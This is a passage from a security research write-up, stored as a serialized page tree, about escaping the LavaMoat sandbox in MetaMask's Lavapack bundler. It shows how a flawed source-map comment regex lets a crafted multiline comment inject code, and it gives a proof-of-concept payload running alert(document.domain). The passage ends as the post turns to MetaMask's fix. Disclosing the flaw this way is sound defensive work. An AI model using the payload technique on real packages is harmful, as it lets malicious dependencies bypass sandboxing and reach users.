2\n",{"type":24,"tag":271,"props":55867,"children":55868},{"class":273,"line":312},[55869],{"type":24,"tag":271,"props":55870,"children":55871},{"emptyLinePlaceholder":16},[55872],{"type":29,"value":327},{"type":24,"tag":271,"props":55874,"children":55875},{"class":273,"line":321},[55876,55880,55884,55888,55892,55896],{"type":24,"tag":271,"props":55877,"children":55878},{"style":598},[55879],{"type":29,"value":40368},{"type":24,"tag":271,"props":55881,"children":55882},{"style":288},[55883],{"type":29,"value":606},{"type":24,"tag":271,"props":55885,"children":55886},{"style":630},[55887],{"type":29,"value":40378},{"type":24,"tag":271,"props":55889,"children":55890},{"style":288},[55891],{"type":29,"value":41},{"type":24,"tag":271,"props":55893,"children":55894},{"style":630},[55895],{"type":29,"value":40388},{"type":24,"tag":271,"props":55897,"children":55898},{"style":288},[55899],{"type":29,"value":694},{"type":24,"tag":25,"props":55901,"children":55902},{},[55903,55905,55911,55913,55920],{"type":29,"value":55904},"However, when we tried to bundle it, a ",{"type":24,"tag":135,"props":55906,"children":55908},{"className":55907},[],[55909],{"type":29,"value":55910},"ParseError",{"type":29,"value":55912}," was thrown. This is because Lavapack is a plugin of ",{"type":24,"tag":32,"props":55914,"children":55917},{"href":55915,"rel":55916},"https://github.com/browserify/browserify",[36],[55918],{"type":29,"value":55919},"browserify",{"type":29,"value":55921},", which has a syntax check before replacing the code.",{"type":24,"tag":25,"props":55923,"children":55924},{},[55925,55927,55933,55935,55941,55943,55949,55951,55956],{"type":29,"value":55926},"Looking deeper into browserify, we find it has a ",{"type":24,"tag":135,"props":55928,"children":55930},{"className":55929},[],[55931],{"type":29,"value":55932},"syntax",{"type":29,"value":55934}," stage on it's pipeline, and uses the ",{"type":24,"tag":135,"props":55936,"children":55938},{"className":55937},[],[55939],{"type":29,"value":55940},"syntax-error",{"type":29,"value":55942}," npm package to validate the syntax of each javascript file content. Since Lavapack replaces the ",{"type":24,"tag":135,"props":55944,"children":55946},{"className":55945},[],[55947],{"type":29,"value":55948},"pack",{"type":29,"value":55950}," stage on browserify pipeline, which comes after the ",{"type":24,"tag":135,"props":55952,"children":55954},{"className":55953},[],[55955],{"type":29,"value":55932},{"type":29,"value":55957},", it was not possible to inject invalid javascript to escape the Lavamoat sandbox.",{"type":24,"tag":25,"props":55959,"children":55960},{},[55961],{"type":24,"tag":74,"props":55962,"children":55965},{"alt":55963,"src":55964},"Pipeline","/posts/supply-chain-attacks-a-new-era/pipeline.png",[],{"type":24,"tag":25,"props":55967,"children":55968},{},[55969,55970,55975,55977,55982],{"type":29,"value":1422},{"type":24,"tag":135,"props":55971,"children":55973},{"className":55972},[],[55974],{"type":29,"value":55940},{"type":29,"value":55976}," package performs a syntax check by using ",{"type":24,"tag":135,"props":55978,"children":55980},{"className":55979},[],[55981],{"type":29,"value":45216},{"type":29,"value":55983}," with function hoisting:",{"type":24,"tag":261,"props":55985,"children":55987},{"className":39038,"code":55986,"language":39040,"meta":7,"style":7},"try {\n eval('throw \"STOP\"; (function () { ' + src + '\\n})()');\n return;\n}\ncatch (err) {\n if (err === 'STOP') return undefined;\n if (err.constructor.name !== 'SyntaxError') return err;\n return errorInfo(src, file, opts);\n}\n",[55988],{"type":24,"tag":135,"props":55989,"children":55990},{"__ignoreMap":7},[55991,56003,56051,56062,56069,56090,56131,56191,56232],{"type":24,"tag":271,"props":55992,"children":55993},{"class":273,"line":274},[55994,55999],{"type":24,"tag":271,"props":55995,"children":55996},{"style":749},[55997],{"type":29,"value":55998},"try",{"type":24,"tag":271,"props":56000,"children":56001},{"style":288},[56002],{"type":29,"value":7145},{"type":24,"tag":271,"props":56004,"children":56005},{"class":273,"line":284},[56006,56011,56015,56020,56024,56029,56033,56038,56042,56047],{"type":24,"tag":271,"props":56007,"children":56008},{"style":598},[56009],{"type":29,"value":56010}," eval",{"type":24,"tag":271,"props":56012,"children":56013},{"style":288},[56014],{"type":29,"value":606},{"type":24,"tag":271,"props":56016,"children":56017},{"style":378},[56018],{"type":29,"value":56019},"'throw \"STOP\"; (function () { '",{"type":24,"tag":271,"props":56021,"children":56022},{"style":624},[56023],{"type":29,"value":4253},{"type":24,"tag":271,"props":56025,"children":56026},{"style":630},[56027],{"type":29,"value":56028}," src",{"type":24,"tag":271,"props":56030,"children":56031},{"style":624},[56032],{"type":29,"value":4253},{"type":24,"tag":271,"props":56034,"children":56035},{"style":378},[56036],{"type":29,"value":56037}," '",{"type":24,"tag":271,"props":56039,"children":56040},{"style":5694},[56041],{"type":29,"value":5697},{"type":24,"tag":271,"props":56043,"children":56044},{"style":378},[56045],{"type":29,"value":56046},"})()'",{"type":24,"tag":271,"props":56048,"children":56049},{"style":288},[56050],{"type":29,"value":1155},{"type":24,"tag":271,"props":56052,"children":56053},{"class":273,"line":294},[56054,56058],{"type":24,"tag":271,"props":56055,"children":56056},{"style":749},[56057],{"type":29,"value":9640},{"type":24,"tag":271,"props":56059,"children":56060},{"style":288},[56061],{"type":29,"value":1069},{"type":24,"tag":271,"props":56063,"children":56064},{"class":273,"line":303},[56065],{"type":24,"tag":271,"props":56066,"children":56067},{"style":288},[56068],{"type":29,"value":1171},{"type":24,"tag":271,"props":56070,"children":56071},{"class":273,"line":312},[56072,56077,56081,56086],{"type":24,"tag":271,"props":56073,"children":56074},{"style":749},[56075],{"type":29,"value":56076},"catch",{"type":24,"tag":271,"props":56078,"children":56079},{"style":288},[56080],{"type":29,"value":1357},{"type":24,"tag":271,"props":56082,"children":56083},{"style":630},[56084],{"type":29,"value":56085},"err",{"type":24,"tag":271,"props":56087,"children":56088},{"style":288},[56089],{"type":29,"value":919},{"type":24,"tag":271,"props":56091,"children":56092},{"class":273,"line":321},[56093,56097,56101,56105,56109,56114,56118,56123,56127],{"type":24,"tag":271,"props":56094,"children":56095},{"style":749},[56096],{"type":29,"value":5025},{"type":24,"tag":271,"props":56098,"children":56099},{"style":288},[56100],{"type":29,"value":1357},{"type":24,"tag":271,"props":56102,"children":56103},{"style":630},[56104],{"type":29,"value":56085},{"type":24,"tag":271,"props":56106,"children":56107},{"style":624},[56108],{"type":29,"value":39096},{"type":24,"tag":271,"props":56110,"children":56111},{"style":378},[56112],{"type":29,"value":56113}," 'STOP'",{"type":24,"tag":271,"props":56115,"children":56116},{"style":288},[56117],{"type":29,"value":8823},{"type":24,"tag":271,"props":56119,"children":56120},{"style":749},[56121],{"type":29,"value":56122},"return",{"type":24,"tag":271,"props":56124,"children":56125},{"style":278},[56126],{"type":29,"value":47005},{"type":24,"tag":271,"props":56128,"children":56129},{"style":288},[56130],{"type":29,"value":1069},{"type":24,"tag":271,"props":56132,"children":56133},{"class":273,"line":330},[56134,56138,56142,56146,56150,56155,56159,56164,56169,56174,56178,56182,56187],{"type":24,"tag":271,"props":56135,"children":56136},{"style":749},[56137],{"type":29,"value":5025},{"type":24,"tag":271,"props":56139,"children":56140},{"style":288},[56141],{"type":29,"value":1357},{"type":24,"tag":271,"props":56143,"children":56144},{"style":630},[56145],{"type":29,"value":56085},{"type":24,"tag":271,"props":56147,"children":56148},{"style":288},[56149],{"type":29,"value":41},{"type":24,"tag":271,"props":56151,"children":56152},{"style":630},[56153],{"type":29,"value":56154},"constructor",{"type":24,"tag":271,"props":56156,"children":56157},{"style":288},[56158],{"type":29,"value":41},{"type":24,"tag":271,"props":56160,"children":56161},{"style":630},[56162],{"type":29,"value":56163},"name",{"type":24,"tag":271,"props":56165,"children":56166},{"style":624},[56167],{"type":29,"value":56168}," !==",{"type":24,"tag":271,"props":56170,"children":56171},{"style":378},[56172],{"type":29,"value":56173}," 'SyntaxError'",{"type":24,"tag":271,"props":56175,"children":56176},{"style":288},[56177],{"type":29,"value":8823},{"type":24,"tag":271,"props":56179,"children":56180},{"style":749},[56181],{"type":29,"value":56122},{"type":24,"tag":271,"props":56183,"children":56184},{"style":630},[56185],{"type":29,"value":56186}," err",{"type":24,"tag":271,"props":56188,"children":56189},{"style":288},[56190],{"type":29,"value":1069},{"type":24,"tag":271,"props":56192,"children":56193},{"class":273,"line":339},[56194,56198,56203,56207,56211,56215,56219,56223,56228],{"type":24,"tag":271,"props":56195,"children":56196},{"style":749},[56197],{"type":29,"value":9640},{"type":24,"tag":271,"props":56199,"children":56200},{"style":598},[56201],{"type":29,"value":56202}," errorInfo",{"type":24,"tag":271,"props":56204,"children":56205},{"style":288},[56206],{"type":29,"value":606},{"type":24,"tag":271,"props":56208,"children":56209},{"style":630},[56210],{"type":29,"value":40340},{"type":24,"tag":271,"props":56212,"children":56213},{"style":288},[56214],{"type":29,"value":158},{"type":24,"tag":271,"props":56216,"children":56217},{"style":630},[56218],{"type":29,"value":55611},{"type":24,"tag":271,"props":56220,"children":56221},{"style":288},[56222],{"type":29,"value":158},{"type":24,"tag":271,"props":56224,"children":56225},{"style":630},[56226],{"type":29,"value":56227},"opts",{"type":24,"tag":271,"props":56229,"children":56230},{"style":288},[56231],{"type":29,"value":1155},{"type":24,"tag":271,"props":56233,"children":56234},{"class":273,"line":347},[56235],{"type":24,"tag":271,"props":56236,"children":56237},{"style":288},[56238],{"type":29,"value":1171},{"type":24,"tag":25,"props":56240,"children":56241},{},[56242,56244,56248,56250,56256,56258,56263],{"type":29,"value":56243},"Interestingly, it ",{"type":24,"tag":10648,"props":56245,"children":56246},{},[56247],{"type":29,"value":11696},{"type":29,"value":56249}," possible to inject a ",{"type":24,"tag":135,"props":56251,"children":56253},{"className":56252},[],[56254],{"type":29,"value":56255},"}); (() => {",{"type":29,"value":56257}," inside source, and will not throw a syntax error. Unfortunately, this is not enough to bypass the ",{"type":24,"tag":135,"props":56259,"children":56261},{"className":56260},[],[56262],{"type":29,"value":55781},{"type":29,"value":56264}," sandbox of Lavapack.",{"type":24,"tag":85,"props":56266,"children":56268},{"id":56267},"sourcemap-the-syntax-killer",[56269],{"type":29,"value":56270},"SourceMap: The Syntax Killer",{"type":24,"tag":25,"props":56272,"children":56273},{},[56274,56276,56283],{"type":29,"value":56275},"Lavapack has a feature to extract source maps files from the code using ",{"type":24,"tag":32,"props":56277,"children":56280},{"href":56278,"rel":56279},"https://www.npmjs.com/package/convert-source-map",[36],[56281],{"type":29,"value":56282},"convert-source-map",{"type":29,"value":56284}," npm package:",{"type":24,"tag":261,"props":56286,"children":56288},{"className":39038,"code":56287,"language":39040,"meta":7,"style":7},"function extractSourceMaps(sourceCode) {\n const converter = convertSourceMap.fromSource(sourceCode)\n // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n const maps = converter && converter.toObject()\n const code = convertSourceMap.removeComments(sourceCode)\n return { code, maps }\n}\n",[56289],{"type":24,"tag":135,"props":56290,"children":56291},{"__ignoreMap":7},[56292,56316,56358,56366,56407,56448,56476],{"type":24,"tag":271,"props":56293,"children":56294},{"class":273,"line":274},[56295,56299,56304,56308,56312],{"type":24,"tag":271,"props":56296,"children":56297},{"style":278},[56298],{"type":29,"value":39052},{"type":24,"tag":271,"props":56300,"children":56301},{"style":598},[56302],{"type":29,"value":56303}," extractSourceMaps",{"type":24,"tag":271,"props":56305,"children":56306},{"style":288},[56307],{"type":29,"value":606},{"type":24,"tag":271,"props":56309,"children":56310},{"style":630},[56311],{"type":29,"value":45682},{"type":24,"tag":271,"props":56313,"children":56314},{"style":288},[56315],{"type":29,"value":919},{"type":24,"tag":271,"props":56317,"children":56318},{"class":273,"line":284},[56319,56323,56328,56332,56337,56341,56346,56350,56354],{"type":24,"tag":271,"props":56320,"children":56321},{"style":278},[56322],{"type":29,"value":43856},{"type":24,"tag":271,"props":56324,"children":56325},{"style":630},[56326],{"type":29,"value":56327}," converter",{"type":24,"tag":271,"props":56329,"children":56330},{"style":624},[56331],{"type":29,"value":1712},{"type":24,"tag":271,"props":56333,"children":56334},{"style":630},[56335],{"type":29,"value":56336}," convertSourceMap",{"type":24,"tag":271,"props":56338,"children":56339},{"style":288},[56340],{"type":29,"value":41},{"type":24,"tag":271,"props":56342,"children":56343},{"style":598},[56344],{"type":29,"value":56345},"fromSource",{"type":24,"tag":271,"props":56347,"children":56348},{"style":288},[56349],{"type":29,"value":606},{"type":24,"tag":271,"props":56351,"children":56352},{"style":630},[56353],{"type":29,"value":45682},{"type":24,"tag":271,"props":56355,"children":56356},{"style":288},[56357],{"type":29,"value":694},{"type":24,"tag":271,"props":56359,"children":56360},{"class":273,"line":294},[56361],{"type":24,"tag":271,"props":56362,"children":56363},{"style":2058},[56364],{"type":29,"value":56365}," // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n",{"type":24,"tag":271,"props":56367,"children":56368},{"class":273,"line":303},[56369,56373,56378,56382,56386,56390,56394,56398,56403],{"type":24,"tag":271,"props":56370,"children":56371},{"style":278},[56372],{"type":29,"value":43856},{"type":24,"tag":271,"props":56374,"children":56375},{"style":630},[56376],{"type":29,"value":56377}," maps",{"type":24,"tag":271,"props":56379,"children":56380},{"style":624},[56381],{"type":29,"value":1712},{"type":24,"tag":271,"props":56383,"children":56384},{"style":630},[56385],{"type":29,"value":56327},{"type":24,"tag":271,"props":56387,"children":56388},{"style":624},[56389],{"type":29,"value":989},{"type":24,"tag":271,"props":56391,"children":56392},{"style":630},[56393],{"type":29,"value":56327},{"type":24,"tag":271,"props":56395,"children":56396},{"style":288},[56397],{"type":29,"value":41},{"type":24,"tag":271,"props":56399,"children":56400},{"style":598},[56401],{"type":29,"value":56402},"toObject",{"type":24,"tag":271,"props":56404,"children":56405},{"style":288},[56406],{"type":29,"value":15452},{"type":24,"tag":271,"props":56408,"children":56409},{"class":273,"line":312},[56410,56414,56419,56423,56427,56431,56436,56440,56444],{"type":24,"tag":271,"props":56411,"children":56412},{"style":278},[56413],{"type":29,"value":43856},{"type":24,"tag":271,"props":56415,"children":56416},{"style":630},[56417],{"type":29,"value":56418}," code",{"type":24,"tag":271,"props":56420,"children":56421},{"style":624},[56422],{"type":29,"value":1712},{"type":24,"tag":271,"props":56424,"children":56425},{"style":630},[56426],{"type":29,"value":56336},{"type":24,"tag":271,"props":56428,"children":56429},{"style":288},[56430],{"type":29,"value":41},{"type":24,"tag":271,"props":56432,"children":56433},{"style":598},[56434],{"type":29,"value":56435},"removeComments",{"type":24,"tag":271,"props":56437,"children":56438},{"style":288},[56439],{"type":29,"value":606},{"type":24,"tag":271,"props":56441,"children":56442},{"style":630},[56443],{"type":29,"value":45682},{"type":24,"tag":271,"props":56445,"children":56446},{"style":288},[56447],{"type":29,"value":694},{"type":24,"tag":271,"props":56449,"children":56450},{"class":273,"line":321},[56451,56455,56459,56463,56467,56472],{"type":24,"tag":271,"props":56452,"children":56453},{"style":749},[56454],{"type":29,"value":1842},{"type":24,"tag":271,"props":56456,"children":56457},{"style":288},[56458],{"type":29,"value":17293},{"type":24,"tag":271,"props":56460,"children":56461},{"style":630},[56462],{"type":29,"value":135},{"type":24,"tag":271,"props":56464,"children":56465},{"style":288},[56466],{"type":29,"value":158},{"type":24,"tag":271,"props":56468,"children":56469},{"style":630},[56470],{"type":29,"value":56471},"maps",{"type":24,"tag":271,"props":56473,"children":56474},{"style":288},[56475],{"type":29,"value":1163},{"type":24,"tag":271,"props":56477,"children":56478},{"class":273,"line":330},[56479],{"type":24,"tag":271,"props":56480,"children":56481},{"style":288},[56482],{"type":29,"value":1171},{"type":24,"tag":25,"props":56484,"children":56485},{},[56486,56488,56493,56495,56500],{"type":29,"value":56487},"This code removes the source map comments of the source code, meaning that there actually is a modification of source code in Lavapack after the ",{"type":24,"tag":135,"props":56489,"children":56491},{"className":56490},[],[56492],{"type":29,"value":55932},{"type":29,"value":56494}," stage. Reviewing the ",{"type":24,"tag":135,"props":56496,"children":56498},{"className":56497},[],[56499],{"type":29,"value":56282},{"type":29,"value":56501}," code, we can see exactly how this happens.",{"type":24,"tag":261,"props":56503,"children":56505},{"className":39038,"code":56504,"language":39040,"meta":7,"style":7},"Object.defineProperty(exports, 'commentRegex', {\n get: function getCommentRegex () {\n // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n return /^\\s*?\\/[\\/\\*][@#]\\s+?sourceMappingURL=data:(((?:application|text)\\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;\n }\n});\n\nexports.removeComments = function (src) {\n return src.replace(exports.commentRegex, '');\n};\n",[56506],{"type":24,"tag":135,"props":56507,"children":56508},{"__ignoreMap":7},[56509,56548,56574,56582,56794,56801,56808,56815,56850,56900],{"type":24,"tag":271,"props":56510,"children":56511},{"class":273,"line":274},[56512,56517,56521,56526,56530,56534,56538,56543],{"type":24,"tag":271,"props":56513,"children":56514},{"style":630},[56515],{"type":29,"value":56516},"Object",{"type":24,"tag":271,"props":56518,"children":56519},{"style":288},[56520],{"type":29,"value":41},{"type":24,"tag":271,"props":56522,"children":56523},{"style":598},[56524],{"type":29,"value":56525},"defineProperty",{"type":24,"tag":271,"props":56527,"children":56528},{"style":288},[56529],{"type":29,"value":606},{"type":24,"tag":271,"props":56531,"children":56532},{"style":3887},[56533],{"type":29,"value":45554},{"type":24,"tag":271,"props":56535,"children":56536},{"style":288},[56537],{"type":29,"value":158},{"type":24,"tag":271,"props":56539,"children":56540},{"style":378},[56541],{"type":29,"value":56542},"'commentRegex'",{"type":24,"tag":271,"props":56544,"children":56545},{"style":288},[56546],{"type":29,"value":56547},", {\n",{"type":24,"tag":271,"props":56549,"children":56550},{"class":273,"line":284},[56551,56556,56560,56564,56569],{"type":24,"tag":271,"props":56552,"children":56553},{"style":598},[56554],{"type":29,"value":56555}," get",{"type":24,"tag":271,"props":56557,"children":56558},{"style":630},[56559],{"type":29,"value":12210},{"type":24,"tag":271,"props":56561,"children":56562},{"style":278},[56563],{"type":29,"value":45882},{"type":24,"tag":271,"props":56565,"children":56566},{"style":598},[56567],{"type":29,"value":56568}," getCommentRegex",{"type":24,"tag":271,"props":56570,"children":56571},{"style":288},[56572],{"type":29,"value":56573}," () {\n",{"type":24,"tag":271,"props":56575,"children":56576},{"class":273,"line":294},[56577],{"type":24,"tag":271,"props":56578,"children":56579},{"style":2058},[56580],{"type":29,"value":56581}," // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n",{"type":24,"tag":271,"props":56583,"children":56584},{"class":273,"line":303},[56585,56589,56595,56600,56605,56610,56614,56619,56623,56628,56632,56636,56641,56646,56651,56656,56660,56664,56668,56673,56677,56682,56687,56692,56697,56701,56705,56709,56713,56717,56721,56725,56729,56734,56738,56742,56747,56752,56756,56760,56764,56768,56773,56777,56781,56785,56790],{"type":24,"tag":271,"props":56586,"children":56587},{"style":749},[56588],{"type":29,"value":9640},{"type":24,"tag":271,"props":56590,"children":56592},{"style":56591},"--shiki-default:#D16969",[56593],{"type":29,"value":56594}," /",{"type":24,"tag":271,"props":56596,"children":56597},{"style":598},[56598],{"type":29,"value":56599},"^",{"type":24,"tag":271,"props":56601,"children":56602},{"style":56591},[56603],{"type":29,"value":56604},"\\s",{"type":24,"tag":271,"props":56606,"children":56607},{"style":5694},[56608],{"type":29,"value":56609},"*?\\/",{"type":24,"tag":271,"props":56611,"children":56612},{"style":378},[56613],{"type":29,"value":4520},{"type":24,"tag":271,"props":56615,"children":56616},{"style":5694},[56617],{"type":29,"value":56618},"\\/\\*",{"type":24,"tag":271,"props":56620,"children":56621},{"style":378},[56622],{"type":29,"value":5046},{"type":24,"tag":271,"props":56624,"children":56625},{"style":56591},[56626],{"type":29,"value":56627},"@#",{"type":24,"tag":271,"props":56629,"children":56630},{"style":378},[56631],{"type":29,"value":23108},{"type":24,"tag":271,"props":56633,"children":56634},{"style":56591},[56635],{"type":29,"value":56604},{"type":24,"tag":271,"props":56637,"children":56638},{"style":5694},[56639],{"type":29,"value":56640},"+?",{"type":24,"tag":271,"props":56642,"children":56643},{"style":56591},[56644],{"type":29,"value":56645},"sourceMappingURL=data:",{"type":24,"tag":271,"props":56647,"children":56648},{"style":378},[56649],{"type":29,"value":56650},"(((?:",{"type":24,"tag":271,"props":56652,"children":56653},{"style":56591},[56654],{"type":29,"value":56655},"application",{"type":24,"tag":271,"props":56657,"children":56658},{"style":598},[56659],{"type":29,"value":4076},{"type":24,"tag":271,"props":56661,"children":56662},{"style":56591},[56663],{"type":29,"value":29},{"type":24,"tag":271,"props":56665,"children":56666},{"style":378},[56667],{"type":29,"value":2693},{"type":24,"tag":271,"props":56669,"children":56670},{"style":5694},[56671],{"type":29,"value":56672},"\\/",{"type":24,"tag":271,"props":56674,"children":56675},{"style":56591},[56676],{"type":29,"value":41666},{"type":24,"tag":271,"props":56678,"children":56679},{"style":378},[56680],{"type":29,"value":56681},")(?:",{"type":24,"tag":271,"props":56683,"children":56684},{"style":56591},[56685],{"type":29,"value":56686},";charset=",{"type":24,"tag":271,"props":56688,"children":56689},{"style":378},[56690],{"type":29,"value":56691},"([^",{"type":24,"tag":271,"props":56693,"children":56694},{"style":56591},[56695],{"type":29,"value":56696},";,",{"type":24,"tag":271,"props":56698,"children":56699},{"style":378},[56700],{"type":29,"value":23108},{"type":24,"tag":271,"props":56702,"children":56703},{"style":5694},[56704],{"type":29,"value":56640},{"type":24,"tag":271,"props":56706,"children":56707},{"style":378},[56708],{"type":29,"value":2693},{"type":24,"tag":271,"props":56710,"children":56711},{"style":5694},[56712],{"type":29,"value":10887},{"type":24,"tag":271,"props":56714,"children":56715},{"style":378},[56716],{"type":29,"value":2693},{"type":24,"tag":271,"props":56718,"children":56719},{"style":5694},[56720],{"type":29,"value":10887},{"type":24,"tag":271,"props":56722,"children":56723},{"style":378},[56724],{"type":29,"value":2693},{"type":24,"tag":271,"props":56726,"children":56727},{"style":5694},[56728],{"type":29,"value":10887},{"type":24,"tag":271,"props":56730,"children":56731},{"style":378},[56732],{"type":29,"value":56733},"(?:",{"type":24,"tag":271,"props":56735,"children":56736},{"style":56591},[56737],{"type":29,"value":2092},{"type":24,"tag":271,"props":56739,"children":56740},{"style":378},[56741],{"type":29,"value":606},{"type":24,"tag":271,"props":56743,"children":56744},{"style":56591},[56745],{"type":29,"value":56746},"base64",{"type":24,"tag":271,"props":56748,"children":56749},{"style":378},[56750],{"type":29,"value":56751},"))",{"type":24,"tag":271,"props":56753,"children":56754},{"style":5694},[56755],{"type":29,"value":10887},{"type":24,"tag":271,"props":56757,"children":56758},{"style":56591},[56759],{"type":29,"value":11845},{"type":24,"tag":271,"props":56761,"children":56762},{"style":378},[56763],{"type":29,"value":606},{"type":24,"tag":271,"props":56765,"children":56766},{"style":56591},[56767],{"type":29,"value":41},{"type":24,"tag":271,"props":56769,"children":56770},{"style":5694},[56771],{"type":29,"value":56772},"*?",{"type":24,"tag":271,"props":56774,"children":56775},{"style":378},[56776],{"type":29,"value":2693},{"type":24,"tag":271,"props":56778,"children":56779},{"style":598},[56780],{"type":29,"value":17993},{"type":24,"tag":271,"props":56782,"children":56783},{"style":56591},[56784],{"type":29,"value":12298},{"type":24,"tag":271,"props":56786,"children":56787},{"style":278},[56788],{"type":29,"value":56789},"mg",{"type":24,"tag":271,"props":56791,"children":56792},{"style":288},[56793],{"type":29,"value":1069},{"type":24,"tag":271,"props":56795,"children":56796},{"class":273,"line":312},[56797],{"type":24,"tag":271,"props":56798,"children":56799},{"style":288},[56800],{"type":29,"value":13588},{"type":24,"tag":271,"props":56802,"children":56803},{"class":273,"line":321},[56804],{"type":24,"tag":271,"props":56805,"children":56806},{"style":288},[56807],{"type":29,"value":43005},{"type":24,"tag":271,"props":56809,"children":56810},{"class":273,"line":330},[56811],{"type":24,"tag":271,"props":56812,"children":56813},{"emptyLinePlaceholder":16},[56814],{"type":29,"value":327},{"type":24,"tag":271,"props":56816,"children":56817},{"class":273,"line":339},[56818,56822,56826,56830,56834,56838,56842,56846],{"type":24,"tag":271,"props":56819,"children":56820},{"style":3887},[56821],{"type":29,"value":45554},{"type":24,"tag":271,"props":56823,"children":56824},{"style":288},[56825],{"type":29,"value":41},{"type":24,"tag":271,"props":56827,"children":56828},{"style":598},[56829],{"type":29,"value":56435},{"type":24,"tag":271,"props":56831,"children":56832},{"style":624},[56833],{"type":29,"value":1712},{"type":24,"tag":271,"props":56835,"children":56836},{"style":278},[56837],{"type":29,"value":45882},{"type":24,"tag":271,"props":56839,"children":56840},{"style":288},[56841],{"type":29,"value":1357},{"type":24,"tag":271,"props":56843,"children":56844},{"style":630},[56845],{"type":29,"value":40340},{"type":24,"tag":271,"props":56847,"children":56848},{"style":288},[56849],{"type":29,"value":919},{"type":24,"tag":271,"props":56851,"children":56852},{"class":273,"line":347},[56853,56857,56861,56865,56870,56874,56878,56882,56887,56891,56896],{"type":24,"tag":271,"props":56854,"children":56855},{"style":749},[56856],{"type":29,"value":1842},{"type":24,"tag":271,"props":56858,"children":56859},{"style":630},[56860],{"type":29,"value":56028},{"type":24,"tag":271,"props":56862,"children":56863},{"style":288},[56864],{"type":29,"value":41},{"type":24,"tag":271,"props":56866,"children":56867},{"style":598},[56868],{"type":29,"value":56869},"replace",{"type":24,"tag":271,"props":56871,"children":56872},{"style":288},[56873],{"type":29,"value":606},{"type":24,"tag":271,"props":56875,"children":56876},{"style":3887},[56877],{"type":29,"value":45554},{"type":24,"tag":271,"props":56879,"children":56880},{"style":288},[56881],{"type":29,"value":41},{"type":24,"tag":271,"props":56883,"children":56884},{"style":630},[56885],{"type":29,"value":56886},"commentRegex",{"type":24,"tag":271,"props":56888,"children":56889},{"style":288},[56890],{"type":29,"value":158},{"type":24,"tag":271,"props":56892,"children":56893},{"style":378},[56894],{"type":29,"value":56895},"''",{"type":24,"tag":271,"props":56897,"children":56898},{"style":288},[56899],{"type":29,"value":1155},{"type":24,"tag":271,"props":56901,"children":56902},{"class":273,"line":356},[56903],{"type":24,"tag":271,"props":56904,"children":56905},{"style":288},[56906],{"type":29,"value":4006},{"type":24,"tag":25,"props":56908,"children":56909},{},[56910,56912,56918],{"type":29,"value":56911},"Looking deeper at the RegEx, it matches the start of the multiple line comment (",{"type":24,"tag":135,"props":56913,"children":56915},{"className":56914},[],[56916],{"type":29,"value":56917},"/*",{"type":29,"value":56919},") but doesn't match the end of it, meaning that the syntax would break in the case of multiline source map comments.",{"type":24,"tag":85,"props":56921,"children":56923},{"id":56922},"the-bypass",[56924],{"type":29,"value":56925},"The Bypass",{"type":24,"tag":25,"props":56927,"children":56928},{},[56929,56931,56936,56938,56943],{"type":29,"value":56930},"By abusing the ",{"type":24,"tag":135,"props":56932,"children":56934},{"className":56933},[],[56935],{"type":29,"value":56435},{"type":29,"value":56937}," function, we could bypass the Lavamoat restrictions by escaping the ",{"type":24,"tag":135,"props":56939,"children":56941},{"className":56940},[],[56942],{"type":29,"value":55781},{"type":29,"value":56944}," sandbox. To do so, we created a multiline source map comment, and injected the invalid javascript inside the comment:",{"type":24,"tag":261,"props":56946,"children":56948},{"className":39038,"code":56947,"language":39040,"meta":7,"style":7},"/*# sourceMappingURL=data:,{}\n\n}}}}\n}, {\n package: \"xpl\",\n file: \"node_modules/xpl/index.js\",\n test: alert(document.domain),\n test1: () => { () => { () => { () => {\n\n/*\n*/\n",[56949],{"type":24,"tag":135,"props":56950,"children":56951},{"__ignoreMap":7},[56952,56960,56967,56975,56983,56991,56999,57007,57015,57022,57030],{"type":24,"tag":271,"props":56953,"children":56954},{"class":273,"line":274},[56955],{"type":24,"tag":271,"props":56956,"children":56957},{"style":2058},[56958],{"type":29,"value":56959},"/*# sourceMappingURL=data:,{}\n",{"type":24,"tag":271,"props":56961,"children":56962},{"class":273,"line":284},[56963],{"type":24,"tag":271,"props":56964,"children":56965},{"emptyLinePlaceholder":16},[56966],{"type":29,"value":327},{"type":24,"tag":271,"props":56968,"children":56969},{"class":273,"line":294},[56970],{"type":24,"tag":271,"props":56971,"children":56972},{"style":2058},[56973],{"type":29,"value":56974},"}}}}\n",{"type":24,"tag":271,"props":56976,"children":56977},{"class":273,"line":303},[56978],{"type":24,"tag":271,"props":56979,"children":56980},{"style":2058},[56981],{"type":29,"value":56982},"}, {\n",{"type":24,"tag":271,"props":56984,"children":56985},{"class":273,"line":312},[56986],{"type":24,"tag":271,"props":56987,"children":56988},{"style":2058},[56989],{"type":29,"value":56990}," package: \"xpl\",\n",{"type":24,"tag":271,"props":56992,"children":56993},{"class":273,"line":321},[56994],{"type":24,"tag":271,"props":56995,"children":56996},{"style":2058},[56997],{"type":29,"value":56998}," file: \"node_modules/xpl/index.js\",\n",{"type":24,"tag":271,"props":57000,"children":57001},{"class":273,"line":330},[57002],{"type":24,"tag":271,"props":57003,"children":57004},{"style":2058},[57005],{"type":29,"value":57006}," test: alert(document.domain),\n",{"type":24,"tag":271,"props":57008,"children":57009},{"class":273,"line":339},[57010],{"type":24,"tag":271,"props":57011,"children":57012},{"style":2058},[57013],{"type":29,"value":57014}," test1: () => { () => { () => { () => {\n",{"type":24,"tag":271,"props":57016,"children":57017},{"class":273,"line":347},[57018],{"type":24,"tag":271,"props":57019,"children":57020},{"emptyLinePlaceholder":16},[57021],{"type":29,"value":327},{"type":24,"tag":271,"props":57023,"children":57024},{"class":273,"line":356},[57025],{"type":24,"tag":271,"props":57026,"children":57027},{"style":2058},[57028],{"type":29,"value":57029},"/*\n",{"type":24,"tag":271,"props":57031,"children":57032},{"class":273,"line":365},[57033],{"type":24,"tag":271,"props":57034,"children":57035},{"style":2058},[57036],{"type":29,"value":57037},"*/\n",{"type":24,"tag":25,"props":57039,"children":57040},{},[57041],{"type":29,"value":57042},"This allows malicious code to execute without breaking any other package or feature. This payload also makes the supply chain attack more impactful. Any injected code is executed as soon as the bundle file is imported.",{"type":24,"tag":85,"props":57044,"children":57046},{"id":57045},"lavapack-patch",[57047],{"type":29,"value":57048},"Lavapack Patch",{"type":24,"tag":25,"props":57050,"children":57051},{},[57052,57054,57060],{"type":29,"value":57053},"Metamask mitigated the issues we reported on 